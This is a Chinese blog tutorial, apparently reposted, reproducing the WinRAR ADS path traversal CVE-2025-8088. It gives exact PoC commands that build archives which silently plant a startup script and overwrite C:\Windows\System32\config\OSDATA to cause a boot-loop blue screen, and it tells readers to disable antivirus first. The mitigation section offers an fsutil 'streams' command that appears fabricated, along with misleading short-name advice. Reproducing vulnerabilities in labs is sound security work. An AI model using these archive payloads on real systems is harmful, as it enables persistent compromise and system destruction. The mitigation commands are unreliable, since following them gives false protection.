【漏洞复现】CVE-2025-8088|WinRAR 路径穿越漏洞:从原理到蓝屏攻击全流程

前言

在这里插入图片描述

WinRAR 作为 Windows 平台最常用的压缩管理工具之一,几乎是每台电脑的 “标配软件”。但在 2025 年 8 月,一款影响范围覆盖 WinRAR 0 至 7.12 全版本的高危漏洞(CVE-2025-8088)被披露 —— 这是一个典型的目录遍历漏洞,攻击者可利用 Windows NTFS 文件系统的 “备用数据流(ADS)” 特性,制作恶意压缩包,绕过 WinRAR 的路径限制,将恶意文件静默解压到系统关键目录(如启动项、系统配置目录),进而实现远程控制、数据窃取,甚至触发系统蓝屏循环。

更严峻的是,安全厂商 ESET 已发现黑客组织(如 RomCom)通过 “钓鱼邮件 + 恶意 RAR 附件” 的方式在野利用该漏洞,普通用户稍有不慎就可能中招。本文将从漏洞原理、攻击链拆解、环境准备到完整复现(含启动项植入与蓝屏测试),带大家一步步掌握该漏洞的核心细节,同时强调合法测试与安全防护的重要性。

一、漏洞基础信息

为快速建立对漏洞的整体认知,先梳理核心基础信息:

项目说明
漏洞名称WinRAR 目录穿越漏洞(路径限制绕过)
漏洞编号CVE-2025-8088
漏洞类型目录遍历(Path Traversal)
CVSS 3.1 评分8.4(高危,CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
公开时间2025-08-08
受影响范围Windows 版 WinRAR(0~7.12 全版本)、UnRAR.dll、RAR/UnRAR 组件
不受影响范围Unix 版 RAR/UnRAR、Android 版 RAR
在野利用状态已发现(RomCom 组织通过钓鱼邮件利用)
核心危害突破解压目录限制,静默释放恶意文件至启动项 / 系统目录,导致远程控制、蓝屏等

二、漏洞原理深度剖析

要复现漏洞,必须先理解其 “两大核心依赖”:NTFS 备用数据流(ADS)WinRAR 路径解析缺陷

2.1 关键前提:NTFS 备用数据流(ADS)

ADS(Alternate Data Streams,备用数据流)是 NTFS 文件系统的特有特性,允许在一个 “主文件” 中附加多个 “隐藏数据流”,这些数据流不影响主文件的正常使用,普通用户难以察觉。

  • 核心特点

    1. ADS 无法独立存在,必须依附于一个已存在的 “主文件”(如 txt、jpg 文件)。
    2. 主文件与 ADS 共享文件名和文件系统条目(MFT),但存储不同数据。
    3. 普通工具(如记事本、资源管理器)仅能查看主文件内容,ADS 内容需通过特殊命令(如 moredir /r)查看。
  • 直观示例
    在 Windows 命令提示符(CMD)中执行以下命令,创建一个带 ADS 的文件:

    在这里插入图片描述

    # 1. 创建主文件 a.txt(内容为空)
    type nul > a.txt
    # 2. 向 a.txt 附加 ADS 流(流名为 b.bat,内容为 "calc.exe",即打开计算器)
    echo calc.exe > a.txt:b.bat
    # 3. 查看主文件 a.txt:显示为空(ADS 未被识别)
    notepad a.txt
    # 4. 查看 ADS 内容:需用 more 命令,能看到 "calc.exe"
    more < a.txt:b.bat
    # 5. 用 dir /r 查看文件详情:能看到 a.txt 后附带了 ":b.bat:$DATA"(ADS 标识)
    dir /r a.txt
    

2.2 漏洞核心:WinRAR 的路径解析缺陷

WinRAR 7.12 及以下版本在处理 “含 ADS 流的压缩包” 时,存在路径遍历漏洞

在这里插入图片描述

  • 当压缩包中的 ADS 流名称包含 ../(路径穿越符)时,WinRAR 会错误地将其解析为 “目录跳转指令”,而非普通字符。
  • 正常情况下,WinRAR 会将解压文件限制在用户指定的目录内;但该漏洞允许攻击者通过构造 ADS 流名称(如 :../Startup/malicious.bat),让 WinRAR 把 ADS 流作为 “独立文件” 释放到目标路径(如系统启动目录)。

简单来说:攻击者通过 ADS 隐藏恶意文件,再利用 WinRAR 的解析缺陷 “跳出” 解压目录,将恶意文件投递到系统关键位置,实现 “静默攻击”。

三、真实攻击链拆解(RomCom 组织案例)

安全厂商 ESET 披露,黑客组织 RomCom 已将 CVE-2025-8088 用于实际攻击,核心攻击链为 “钓鱼邮件→恶意 RAR 附件→ADS 隐藏恶意文件→启动项植入→恶意程序执行”,具体分为三种典型攻击路径:

攻击链名称入口文件(.ink 快捷方式)核心执行流程最终目的
Mythic AgentUpdate.ink1. 快捷方式调用伪装成 Edge 浏览器的 msedge.dll 2. DLL 解密 AES 加密的 Shellcode 3. 启动 Mythic Agent 木马建立 C2 通信,远程控制目标机
SnipBotDisplay Settings.ink1. 快捷方式运行修改版 PuTTY(ApbxHelper.exe) 2. 检查目标机最近打开的文档数量 3. 解密 Shellcode 并下载额外 Payload窃取文档数据,投放更多恶意软件
MeltingClawSettings.ink1. 快捷方式启动 Complaint.exe 2. 从攻击者服务器下载 MeltingClaw DLL 3. DLL 加载更多恶意模块系统持久化,窃取敏感信息

可见,该漏洞的攻击隐蔽性极强 —— 用户看到的只是 “正常文档”(如 1.txt),但解压时恶意文件已通过 ADS 流悄悄植入启动项,下次开机即自动执行。

三大实战攻击链细节

ESET已捕获该漏洞的三种典型攻击链,均以Windows快捷方式(LNK文件,此前提及的.ink文件为LNK文件的常见类型) 为核心引导载体,具体流程补充如下:

1. 攻击链1:Mythic Agent(远程控制)
  • 恶意文件:Update.ink(LNK快捷方式);
  • 执行流程:Update.ink → 引导加载msedge.dll(伪装微软Edge组件) → 写入COM劫持注册表 → 解密并执行Shellcode → 启动Mythic Agent(C2客户端);
  • 核心功能:实现C2通信、远程命令执行、后续Payload投递(如植入其他恶意软件)。
    在这里插入图片描述
2. 攻击链2:SnipBot(数据窃取)
  • 恶意文件:Display Settings.ink(LNK快捷方式,伪装“显示设置”);
  • 执行流程:Display Settings.ink → 引导加载ApbxHelper.exe(修改版PuTTY) → 检查用户最近打开的文档数量(规避检测) → 解密并执行Shellcode → 从攻击者服务器下载额外Payload;
  • 核心功能:窃取用户文档、浏览器记录等数据。
    在这里插入图片描述
3. 攻击链3:MeltingClaw(恶意模块加载)
  • 恶意文件:Settings.ink(LNK快捷方式,伪装“系统设置”);
  • 执行流程:Settings.ink → 引导加载Complaint.exe解密并执行Shellcode → 下载MeltingClaw DLL文件 → 从攻击者服务器获取更多恶意模块(如挖矿、勒索组件);
  • 核心功能:加载多样化恶意模块,扩大攻击影响。
    在这里插入图片描述

四、复现环境准备

4.1 环境清单

本次复现分为 “基础测试(启动项植入)” 和 “进阶测试(蓝屏攻击)”,需准备以下环境:

环境类型具体配置说明
操作系统Windows 10/11 专业版(建议虚拟机,如 VMware Workstation)物理机测试有风险,虚拟机方便快照恢复
WinRAR 版本WinRAR 7.12 (32/64 位均可)需安装在目标 Windows 系统中,官网旧版本可从第三方可信渠道获取(如 FileHorse)
攻击工具Python 3.8+、CVE-2025-8088 POC 脚本、WinRAR 自带的 rar.exePython 用于运行 POC 生成恶意压缩包;rar.exe 需从 WinRAR 安装目录提取
辅助工具系统快照工具(VMware 快照)进阶测试(蓝屏)会导致系统损坏,快照用于快速恢复

4.2 环境预处理(必做!)

  1. 关闭安全软件:临时退出 360、火绒、Windows Defender 等,避免拦截 POC 脚本或恶意压缩包。
  2. 创建系统快照:在 VMware 中对 Windows 虚拟机创建快照(“虚拟机→快照→拍摄快照”),后续蓝屏测试后可通过快照恢复系统。
  3. 提取 rar.exe:打开 WinRAR 安装目录(默认路径:C:\Program Files\WinRAR),找到 rar.exe,记录其路径(如 C:\Program Files\WinRAR\rar.exe),后续 POC 脚本需用到。
  4. 下载 POC 脚本:从 GitHub 仓库获取POC(地址:sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-),将脚本保存到 Windows 系统的 D:\POC 目录。

五、漏洞复现核心步骤

本次复现分为两部分:基础复现(生成恶意压缩包,解压到启动项)进阶复现(生成蓝屏压缩包,触发系统蓝屏)

5.1 基础复现:恶意文件植入系统启动项

目标

生成一个恶意 RAR 压缩包,用户解压时,将 a.bat(恶意脚本,此处以打开计算器为例)静默释放到系统启动目录(C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup),下次开机自动执行。

步骤 1:准备 “诱饵文件” 与 “恶意 payload”
  1. D:\POC 目录下创建 “诱饵文件”1.txt(用于迷惑用户,内容可任意,如 “这是工作文档.txt”)。

    在这里插入图片描述

  2. D:\POC目录下创建 “恶意 payload”a.bat,内容为打开计算器(测试用,实际攻击中可替换为木马):

    @echo off
    calc.exe  # 打开计算器,测试用
    exit
    
步骤 2:运行 POC 脚本生成恶意压缩包
  1. 打开 Windows 命令提示符(CMD),切换到 POC 脚本所在目录:

    cd /d D:\POC
    
  2. 执行 POC 脚本,生成恶意 RAR 压缩包,命令格式如下:

    python poc.py --decoy 1.txt --payload a.bat --drop "C:\Users\bbb22666\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" --rar "C:\Program Files\WinRAR\rar.exe"
    
    • 命令参数解释:
      • --decoy 1.txt:指定诱饵文件(用户可见的正常文件)。
      • --payload a.bat:指定恶意 payload(要植入的恶意文件)。
      • --drop "目标路径":指定恶意文件的释放路径(此处为当前用户的启动目录,需将 bbb22666 替换为你的 Windows 用户名)。
      • --rar "rar.exe 路径":指定 WinRAR 安装目录下的 rar.exe 路径。
  3. 脚本执行成功后,会在 D:\POC 目录下生成一个恶意 RAR 压缩包(如 malicious.rar)表示生成成功。

在这里插入图片描述
在这里插入图片描述

步骤 3:验证恶意压缩包(解压测试)
  1. 右键点击 malicious.rar,选择 “解压到当前文件夹”(WinRAR 7.12 会自动执行解压)。

  2. 解压后,当前目录会显示1.txt(诱饵文件),看似正常;但此时恶意文件a.bat已被静默释放到启动目录:

    • 打开启动目录:C:\Users\bbb22666\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,可看到 a.bat 已存在。

    在这里插入图片描述

步骤 4:验证启动项效果
  1. 重启 Windows 虚拟机,开机后会自动弹出计算器(a.bat 执行结果),说明恶意文件已成功通过启动项自动运行。

5.2 进阶复现:生成蓝屏压缩包(谨慎操作!)

原理

Windows 系统在 C:\Windows\System32\config 目录下存在 OSDATA 文件(Xbox 相关注册表配置文件),若该文件被替换为空白文件,系统会误认为注册表损坏,触发蓝屏并循环重启。利用 CVE-2025-8088 可将空白 OSDATA 文件解压到该目录,实现蓝屏攻击。

步骤 1:准备 “蓝屏 payload”

在D:\POC目录下创建空白的OSDATA文件(无后缀名):

type nul > D:\POC\OSDATA
  1. 准备诱饵文件 OSDATA.txt(内容任意,如 “系统配置备份.txt”),放在 D:\POC 目录下。
步骤 2:运行 POC 生成蓝屏压缩包

执行以下命令,生成可触发蓝屏的恶意 RAR 压缩包:

cd /d D:\POC
python poc.py --decoy OSDATA.txt --payload OSDATA --drop "C:\Windows\System32\config" --rar "C:\Program Files\WinRAR\rar.exe"
  • 参数解释:--drop 指定为系统配置目录 C:\Windows\System32\config--payload 为空白 OSDATA 文件。
步骤 3:解压测试与蓝屏验证
  1. 右键点击生成的蓝屏压缩包(如 blue_screen.rar),选择 “解压到当前文件夹”。

  2. 解压完成后,空白 OSDATA 文件已替换 C:\Windows\System32\config\OSDATA(系统原文件被覆盖)。
    在这里插入图片描述

  3. 重启 Windows 虚拟机,系统会在开机时触发蓝屏(蓝屏代码通常为 REGISTRY_ERROR),且重启后会循环蓝屏,验证漏洞攻击效果。
    在这里插入图片描述

  4. 恢复系统:关闭虚拟机,通过之前创建的快照恢复系统(“虚拟机→快照→恢复到上一个快照”),避免系统无法使用。

六、漏洞危害与防护建议

6.1 漏洞核心危害

  1. 隐蔽性极强:恶意文件通过 ADS 隐藏在正常文件中,用户无法通过常规方式察觉。
  2. 无需交互:仅需用户解压压缩包,无需点击额外文件,攻击门槛极低。
  3. 危害范围广:可覆盖系统文件、植入启动项、触发蓝屏,甚至完全控制目标机。

6.2 紧急防护措施

  1. 立即更新 WinRAR:这是最根本的防护手段!前往 WinRAR 官网(https://www.winrar.com.cn/)下载并安装 7.13 及以上版本,官方已修复该漏洞。

  2. 禁用 NTFS ADS 特性:通过组策略或命令禁用 ADS(适合企业环境),命令如下:

    fsutil behavior set disable8dot3 1  # 禁用短文件名,间接限制 ADS 滥用
    fsutil behavior set streams 1  # 禁用 ADS(部分系统支持)
    
  3. 谨慎解压未知压缩包:不打开来历不明的钓鱼邮件附件、论坛下载的 RAR 压缩包;解压前用杀毒软件扫描。

  4. 监控系统关键目录:定期检查启动目录(Startup)、系统配置目录(C:\Windows\System32\config),发现异常文件及时删除。

  5. 开启安全软件实时防护:主流杀毒软件(如 360、火绒)已更新对该漏洞利用的检测规则,确保实时防护开启。

七、免责声明

本文所有复现操作均基于 授权的虚拟机环境,仅用于网络安全学习与漏洞原理研究。严禁将漏洞利用技术用于未授权的第三方系统,否则将触犯《中华人民共和国网络安全法》《刑法》等相关法律法规,承担法律责任。网络安全的核心是 “防护”,而非 “攻击”,请始终遵守网络安全伦理与法律底线。

若在复现过程中遇到问题(如 POC 脚本报错、解压无效果),可在评论区留言,一起交流解决!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/98312.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/98312.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/98312.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uniapp中使用echarts并且支持pc端的拖动、拖拽和其他交互事件

npm install echarts -D ​ // "echarts": "^5.3.2", [推荐版本] // "zrender": "^5.3.2" [如果报错的话就安装这个]<template><view class"container"><view id"myChart" class"chart"…

Qt中QProxyStyledrawControl函数4个参数的意义

Qt中QProxyStyle::drawControl函数4个参数的意义 我们来详细解释一下 Qt 中 QProxyStyle::drawControl 函数的四个参数。 这个函数是 Qt 样式系统中的一个核心方法&#xff0c;用于绘制标准 UI 元素&#xff08;如按钮、复选框、菜单栏等&#xff09;。当你继承 QProxyStyle 并…

idf-esp32 PWM呼吸灯(LEDC头文件)

相关宏和变量#define LED_PIN GPIO_NUM_3 #define LEDC_CHANNEL LEDC_CHANNEL_0 #define LEDC_TIMER LEDC_TIMER_0 #define LEDC_MODE LEDC_LOW_SPEED_MODE #define LEDC_DUTY_RES LEDC_TIMER_13_BIT // 2^13 8192级亮度 #define LEDC_FREQUENCY 50…

PLC_博图系列☞基本指令”S_ODTS:分配保持型接通延时定时器参数并启动“

PLC_博图系列☞基本指令”S_ODTS&#xff1a;分配保持型接通延时定时器参数并启动“ 文章目录PLC_博图系列☞基本指令”S_ODTS&#xff1a;分配保持型接通延时定时器参数并启动“背景介绍S_ODTS&#xff1a; 分配保持型接通延时定时器参数并启动说明参数脉冲时序图示例关键字&a…

OneCode 可视化揭秘系列(三):AI MCP驱动的智能工作流逻辑编排

OneCode 可视化揭秘系列&#xff08;三&#xff09;&#xff1a;AI MCP驱动的智能工作流逻辑编排 引言 在前两篇系列博文中&#xff0c;我们详细探讨了OneCode可视化动作的基础配置与界面设计&#xff0c;以及组件交互与数据流管理。在本篇文章中&#xff0c;我们将深入剖析逻辑…

TypeORM、Sequelize、Hibernate 的优缺点对比:新手常见 SQL 与 ORM 踩坑总结

1. ORM 与关系型数据库&#xff08;MySQL、PostgreSQL&#xff09; 的使用 SQL 语句编写&#xff08;JOIN、GROUP BY、索引使用、事务控制&#xff09;与 ORM 映射&#xff08;如 Sequelize、TypeORM、Hibernate&#xff09;之间的差异会让新手非常纠结&#xff1b;尤其是理解…

JavaScript 创建型设计模式详解

1. 单例模式1.1. 使用场景在前端开发中&#xff0c;全局状态管理、配置信息、数据库连接等往往需要在应用中只存在一个实例&#xff0c;避免多次实例化带来的数据不一致性。例如&#xff0c;在一个前端应用中&#xff0c;全局的 loading 状态通常需要一个单例模式来确保其唯一性…

k8s除了主server服务器可正常使用kubectl命令,其他节点不能使用原因,以及如何在其他k8s节点正常使用kubectl命令??

kubectl 并不是“只能”在主节点&#xff08;Control Plane Node&#xff09;使用&#xff0c;而是因为它需要访问 Kubernetes 的 kube-apiserver&#xff0c;而 kube-apiserver 通常只在主节点上运行并监听内部网络。简单来说kubectl 需要连接 kube-apiserver&#xff01;&…

Custom SRP - Complex Maps

https://catlikecoding.com/unity/tutorials/custom-srp/complex-maps/1 创建材质球我们的材质已经支持光照,并且支持 Albedo 和 Emission 贴图.创建材质球,并应用下面的电路板的图分别作为 albedo emission设置材质球的金属度为 1 , 光滑度为 0.952 Mask Map在 albedo 图上的不…

repo 学习教程

你现在会用 git 了&#xff0c;接下来学 repo&#xff08;Google 推出来的多仓库管理工具&#xff09;&#xff0c;其实就是在 Git 的基础上做了一层封装&#xff0c;方便同时管理很多 Git 仓库。像 Android 源码、Rockchip 全套 SDK 都是靠 repo 来拉取和管理的。 我给你分几个…

[SWERC 2020] Safe Distance题解

[SWERC 2020] Safe Distance 题意 给定 NNN 个点与一个坐标 (X,Y)(X,Y)(X,Y)&#xff0c;求从点 (0,0)(0,0)(0,0) 到点 (X,Y)(X,Y)(X,Y) 规划一条路线&#xff0c;不能走出 (0,0)(0,0)(0,0) 与 (X,Y)(X,Y)(X,Y) 间形成的矩形&#xff0c;使得通过这条路线时距离最近的点的距离…

Rewind-你人生的搜索引擎

本文转载自&#xff1a;Rewind-你人生的搜索引擎 - Hello123工具导航 ** 一、&#x1f50d; Rewind 是什么&#xff1f;你的数字记忆增强神器 Rewind 是一款人工智能驱动的个人记忆助手&#xff0c;就像为你配备了一个「数字第二大脑」。它能自动记录、保存并索引你在电脑和手…

开发小点 - 存

开发小点 1.Req注解 EqualsAndHashCode(callSuper true) Data public class BillSituationReq extends BillQueryReq {/*** Whether to display the ring ratio, default is not displayed*/ApiModelProperty("Whether to Display YoY Comparison")private Boolean …

只会npm install?这5个隐藏技巧让你效率翻倍!

原文链接&#xff1a;https://mp.weixin.qq.com/s/nijxVWj-E5U08DX2fl3vgg最近有个刚学前端的小伙伴问我&#xff1a;“为什么我的node_modules这么大&#xff1f;为什么别人装依赖那么快&#xff1f;npx到底是啥玩意儿&#xff1f;” 相信不少人都跟他一样&#xff0c;对npm的…

(二).net面试(static)

文章目录项目地址一、基础501.1 new keyword1.2 static class vs. static method1. static class2. static method3. static constructor 静态构造函数4. 静态成员的生命周期1.3 LinQ1.what is LinQ2. List<T>、IEnumerable<T>、IQueryable<T>3. 在数据库里用…

docker,本地目录挂载

理解Docker本地目录挂载的基本概念Docker本地目录挂载允许容器与宿主机共享文件或目录&#xff0c;实现数据持久化和实时交互。挂载方式分为bind mount和volume两种&#xff0c;前者直接映射宿主机路径&#xff0c;后者由Docker管理存储路径。本地目录挂载的核心方法bind mount…

IO多路复用相关知识

select、poll、epoll 在传入的性能差异是不是体现在&#xff0c;当有新的连接过来&#xff0c;此时需要将新的fd传入到内核中&#xff0c;但是poll/select需要出入整个数组&#xff0c;而epoll方式只需要出入单个fd&#xff1f; 1. select/poll 的情况它们没有内核中“长期保存…

【CF】Day139——杂题 (绝对值变换 | 异或 + 二分 | 随机数据 + 图论)

B. Meeting on the Line题目&#xff1a;思路&#xff1a;数形结合首先考虑如果没有 t 的影响该怎么写显然我们就是让最大时间最小化&#xff0c;那么显然选择最左端点和最右端点的中间值即可&#xff0c;即 (mi mx) / 2&#xff0c;那么现在有了 t 该怎么办我们不妨考虑拆开绝…

在 Ubuntu 上安装和配置 PostgreSQL 实录

一、查看ubuntu版本 lsb_release -a postgresq尽量安装在新的稳定版本的ubuntu上 二、安装postgresql 2.1 直接安装 sudo apt install postgresql 结果如下 2.2 使用PPA源安装 Ubuntu官方源提供了PostgreSQL的PPA(Personal Package Archive),通过PPA源安装可以确保获取…

WebGIS三维可视化 + 数据驱动:智慧煤仓监控系统如何破解煤炭仓储行业痛点

目录 一、项目背景&#xff1a;煤炭仓储管理的痛点与转型需求 二、建设意义&#xff1a;从 “被动管理” 到 “主动掌控” 的价值跃迁 三、项目核心&#xff1a;技术架构与核心目标的深度融合 四、数据与技术&#xff1a;系统稳定运行的 “双支柱” &#xff08;一&#x…